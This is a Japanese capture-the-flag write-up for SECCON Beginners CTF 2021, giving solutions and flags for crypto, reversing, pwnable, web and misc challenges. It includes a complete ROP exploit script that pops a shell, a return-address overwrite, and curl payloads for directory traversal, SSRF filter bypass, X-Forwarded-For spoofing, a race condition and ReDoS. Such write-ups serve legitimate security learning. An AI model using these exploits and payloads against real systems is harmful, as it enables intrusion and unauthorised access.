SECCON Beginners CTF 2021 writeup
SECCON Beginners CTF 2021
yharima で参加.ついにメンバーが集まらず実質ぼっち参加だった(一人だけ最後2時間くらい参加してた). 2447pts で 46th でした.うーん….
[welcome] welcome
Discord に来るだろうと待機して最速で入れるゲーム.
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}
おまけ
入れて即スコアボードみたら以下みたいになっててバグってたけど最速だったんだろうか?

[crypto] simple_RSA
e がやたら小さいので, c の e乗根を取れば復号できるらしい.
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
from Crypto.Util.number import long_to_bytes import gmpy n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283 e = 3 c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613 print(long_to_bytes(gmpy.root(c, e)[0]))
[crypto] Logical_SEESAW
説明がうまくできないので雑ですが暗号化される手順を追うと,
- FLAG をバイナリにして2進数へ変換
- 上記と同じ長さのランダムな key を生成
- 50%の割合以下のどちらかとなるものを16個作成
flag[i]flag[i] & key[i]の結果とする
なので,フラグが立ってるならかならずそこは正しい.一方で折れてる場合は怪しい. なので16個あるから全部フラグが折れてるなら確率的には折れてるのが正しそう,という判断をして bit を集めてきて文字列にする.
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
from Crypto.Util.number import long_to_bytes
cipher = [] # output.txt
flag = ''
for i in range(len(cipher[0])):
c = ''
for j in range(len(cipher)):
c += cipher[j][i]
if c == '0000000000000000':
flag += '0'
else:
flag += '1'
print(long_to_bytes(int(flag, 2)))
[crypto] GFM
なんもよくわからんかったんだけど,どうやら SageMath のコードらしい? コードをみると行列計算していて,必要な情報は全部揃ってるのでドキュメント見ながら逆演算する. 実行環境はめんどかったので,オンラインの使った.
SIZE = 8 p = 331941721759386740446055265418196301559 MS = MatrixSpace(GF(p), SIZE) key = MS.matrix([[(snip)]]) # output.txt enc = MS.matrix([[(snip)]]) # output.txt print(key.inverse() * enc * key.inverse())
あとはアスキー範囲内の数字の部分だけとってきて繋ぐ.
ctf4b{d1d_y0u_pl4y_w1th_m4tr1x_4nd_g4l0is_f1eld?}
[reversing] only_read
cmp で1文字づつ比較してるので比較部分だけとってきて繋ぐ.
$ objdump -M intel -d chall | grep 'cmp al,' | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)'
ctf4b{c0n5t4nt_f0ld1ng}
[reversing] children
最近乗り換えた Ghidra を使って解析すると,どうやら hoge 関数内でフラグを表示してそうであることがわかる.
vvv 関数を解析すれば良さそうに思えるんだけど面倒なので,ひとまず条件関係なく表示させるように NOP で潰す.
PID のところは ps auxf すればわかるのでそこはちゃんと入力した(そこも潰せばいいんだけど).
$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!
Please give me my child pid!
16282
ok
Please give me my child pid!
16292
ok
Please give me my child pid!
16296
ok
Please give me my child pid!
16299
ok
Please give me my child pid!
16302
ok
Please give me my child pid!
16305
ok
Please give me my child pid!
16308
ok
Please give me my child pid!
16312
ok
Please give me my child pid!
16315
ok
Please give me my child pid!
16319
ok
How many children were born?
aaaaa
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
[reversing] please_not_trace_me
タイトルからしてもどうみても anti-debug が実装されていそう. 実際 ptrace するとデバッガ検知して落ちる.
ひとまず Ghidra で解析しながら anti-debug ならどうせ ptrace 呼んでるんだろうと思って潰す.
これで gdb が動くので,なんかフラグを decrypt してそうな rc4 に BP 仕掛けて実行するとフラグが出た.
Breakpoint 2, 0x0000555555555297 in main ()
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x555555559280 ("ctf4b{d1d_y0u_d3crypt_rc4?}")
[reversing] be_angry
公式のサンプルをパクって angr 流す.
ctf4b{3nc0d3_4r1thm3t1c}
import angr
project = angr.Project("./chall", auto_load_libs=False)
@project.hook(0x402539)
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
[reversing] firmware
strings してみるとなんか色々なファイルが含まれているみたいで, 32 bit ARM のバイナリも転がっていそう.
とりあえずバイナリを binwalk で取り出して Ghidra へ投げ込む.
main 関数を追うとどうもサーバっぽくなっていて送られてきた文字列がフラグと一致してるかを検証している.
この際,入力された文字と 0x53 で XOR をとり, DAT_00010ea4 の格納されているデータを比較している.
なので, DAT_00010ea4 のデータを全部抜いて 0x53 で XOR をとればフラグになる.
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
[pwnable] rewriter
繋ぐと stack の状態が表示される.任意のアドレスを書き換えれるようなので return addr を書き換える.
バイナリも提供されていて, win 関数でフラグを表示しているのでそちらに書き換えてあげれば良い.
$ objdump -M intel -d chall | grep win
00000000004011f6 <win>:
$ nc rewriter.quals.beginners.seccon.jp 4103
[Addr] |[Value]
====================+===================
0x00007fff86f2e200 | 0x0000000000000000 <- buf
0x00007fff86f2e208 | 0x0000000000000000
0x00007fff86f2e210 | 0x0000000000000000
0x00007fff86f2e218 | 0x0000000000000000
0x00007fff86f2e220 | 0x0000000000000000 <- target
0x00007fff86f2e228 | 0x0000000000000000 <- value
0x00007fff86f2e230 | 0x0000000000401520 <- saved rbp
0x00007fff86f2e238 | 0x00007f11ff334bf7 <- saved ret addr
0x00007fff86f2e240 | 0x0000000000000001
0x00007fff86f2e248 | 0x00007fff86f2e318
Where would you like to rewrite it?
> 0x00007fff86f2e238
0x00007fff86f2e238 = 0x4011f6
[Addr] |[Value]
====================+===================
0x00007fff86f2e200 | 0x3666313130347830 <- buf
0x00007fff86f2e208 | 0x326532663638000a
0x00007fff86f2e210 | 0x00000000000a3833
0x00007fff86f2e218 | 0x0000000000000000
0x00007fff86f2e220 | 0x00000000004011f6 <- target
0x00007fff86f2e228 | 0x00007fff86f2e238 <- value
0x00007fff86f2e230 | 0x0000000000401520 <- saved rbp
0x00007fff86f2e238 | 0x00000000004011f6 <- saved ret addr
0x00007fff86f2e240 | 0x0000000000000001
0x00007fff86f2e248 | 0x00007fff86f2e318
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
[pwnable] beginners_rop
タイトル通りに ROP する. BOF の脆弱性があるので BOF して制御を奪って適当な GOT のアドレスを puts して libc addr を leak する. この際,最後にもう一度 main 関数のアドレスを積んでおいてもう1回 BOF できるようにしておく. 次は libc base addr がわかっているので onegadget でシェルを上げる.
% python beginners_rop.py
[+] Opening connection to beginners-rop.quals.beginners.seccon.jp on port 4102: Done
7f03f5b52000
[*] Switching to interactive mode
$ ls -l
total 28
-r-xr-x--- 1 root pwn 17008 May 21 01:52 chall
-r--r----- 1 root pwn 20 May 21 01:52 flag.txt
-r-xr-x--- 1 root pwn 34 May 21 01:52 redir.sh
$ cat flag.txt
ctf4b{H4rd_ROP_c4f3}
src
from pwn import *
context.arch = 'amd64'
con = remote('beginners-rop.quals.beginners.seccon.jp', 4102)
payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(0x401283) # pop rdi
payload += pack(0x404018) # puts@got
payload += pack(0x401070) # puts@plt
payload += pack(0x401196)
con.sendline(payload)
con.recvline()
libc_base_addr = unpack(con.recvline().strip() + "\x00\x00") - 0x80aa0
print "%x" % libc_base_addr
payload = 'A' * 256
payload += pack(0x404050 + 0x100)
payload += pack(libc_base_addr + 0x4f3d5)
con.sendline(payload)
con.recvline()
con.interactive()
[web] osoba
なんかいかにもディレクトリトラバーサルしてください,みたいな URL なので ../flag してみるとフラグがでる.
% curl 'https://osoba.quals.beginners.seccon.jp/?page=../flag'
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
[web] Werewolf
ソースコードを読むと role が WEREWOLF ならフラグがでそう.
name と color は POST parameter に渡せばいけるんだけけどプロパティなので role=WEREWOLF とやってもうまくいかない.
これ,内部的にはどうなってるんだろうと思って,以下のようなコードを実行すると {'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}.
import random
class Player:
def __init__(self):
self.name = None
self.color = None
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
@property
def role(self):
return self.__role
player = Player()
print(vars(player))
なるほど, _Player__role を書き換えてあげればいいのね,ということで以下を実行するとフラグを得れる.
% curl -sfS 'https://werewolf.quals.beginners.seccon.jp/' --data-raw '_Player__role=WEREWOLF' | grep ctf4b
<p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>
[web] check_url
ソースコードを読むと, REMOTE_ADDR が 127.0.0.1 でアクセスするとフラグがでるらしい.
ただ, preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url) のように置換されてしまうので . は使えない.
127.0.0.1 は SSRF あるあるネタとして様々な表現ができるので順番にためす.
* 2130706433: だめ
* 017700000001: だめ
* 0x7F000001: OK
というわけで,
% curl -sfS 'https://check-url.quals.beginners.seccon.jp/?url=0x7F000001' | grep ctf4b
Hi, Admin or SSSSRFer<br>ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry} </h5>
[web] json
ソースを読むとまず, 192.168.111.0/24 からのアクセスに制限されていることがわかる.
nginx の config を見ると以下の記述があって X-Forwarded-For を最初から送れば偽装できることがわかる.
location / {
proxy_pass http://bff:8080;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
なので,まず以下のような curl を投げると内部からのアクセスに偽装することができる.
% curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id": 2}'
{"error":"It is forbidden to retrieve Flag from this BFF server."}
次は id = 2 であればフラグがでるのだけどチェックされている. bff 側は json 形式に変換してチェックしているのに, api 側は body から取り出しているだけ.(いま見ると普通に jsonparser 使ってたので普通に見間違えてました).
json の key って大文字とか小文字チェックしてるんだっけ?と思って投げてみたらうまくいった.
curl -H 'X-Forwarded-For: 192.168.111.248' -X POST https://json.quals.beginners.seccon.jp/ -d '{"id":2, "ID": 1}'
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}
[web] cant_use_db
DB 使ってないみたいなタイトルで実際ソースを見るとファイルに書き出している. すべての材料を揃えるのはお金が足りないんだけど,ロック処理とかしてないのですべての購入を同じタイミングで投げるといけるんじゃないかと思いやってみる. まず, sessionId を普通に curl を投げてとって,以下のリクエストをほぼ同時に投げる.
% curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_soup' -H 'Cookie: session=(snip)' % curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)' % curl -X POST 'https://cant-use-db.quals.beginners.seccon.jp/buy_noodles' -H 'Cookie: session=(snip)'
うまく買えたらあとは sessionId をセットして /eat を叩く.
% curl 'https://cant-use-db.quals.beginners.seccon.jp/eat' -H 'Cookie: session=(snip)'
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
[misc] git-leak
objects 片っ端から漁るスクリプト書いたらでた.
$ ./solve.sh | grep ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
src
#!/bin/bash
for dir in `ls .git/objects`; do
for file in `ls .git/objects/$dir`; do
git cat-file -p "$dir$file"
done
done
[misc] Mail_Address_Validator
ソースをみると正規表現の実行をタイムアウトさせたらフラグが表示されるみたい. とりあえず適当に長いの投げてどれくらいかかるか見てみるかーと思って投げたらそのままタイムアウトしてフラグが出てしまった.
% perl -e 'print "a@" . "a" x 128' | nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
[misc] depixelization
ソースコードから [a-z][0-9] の画像を生成して気合で目 diff する.まじで気合.
ctf4b{1f_y0u_p1x_y0u_c4n_d3p1x}
まとめ
- ぼっちは寂しい
- Ghidra 最高
- モンハンしてたやつはギルティ
- Pwn 勉強不足
- Crypto 無理
- あと2, 3問は解きたかった